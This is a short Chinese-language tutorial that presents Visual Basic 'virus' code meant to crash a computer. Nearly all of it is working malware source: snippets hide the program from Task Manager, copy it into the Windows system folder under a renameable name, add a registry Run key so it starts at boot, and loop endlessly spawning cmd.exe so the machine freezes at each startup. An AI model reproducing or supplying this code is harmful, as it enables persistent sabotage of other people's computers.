让计算机死机的vb病毒代码

加入代码:
App.TaskVisible = False
这样就在任务管理器中隐藏了。


加入代码:
Dim f As String
f = App.Path & "\" & App.EXEName & ".exe"
d = "C:\WINDOWS\SYSTEM\bo.exe" '这个bo.exe大家可以改下名，随便改。
FileCopy f, d


加入代码:
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\bo.exe" 'bo.exe要与上面相吻合。
加入这些代码就在注册表内让开机启动C:\WINDOWS\SYSTEM\bo.exe了


破坏代码:
Do
shell "cmd.exe"
loop
这样每次开机都死机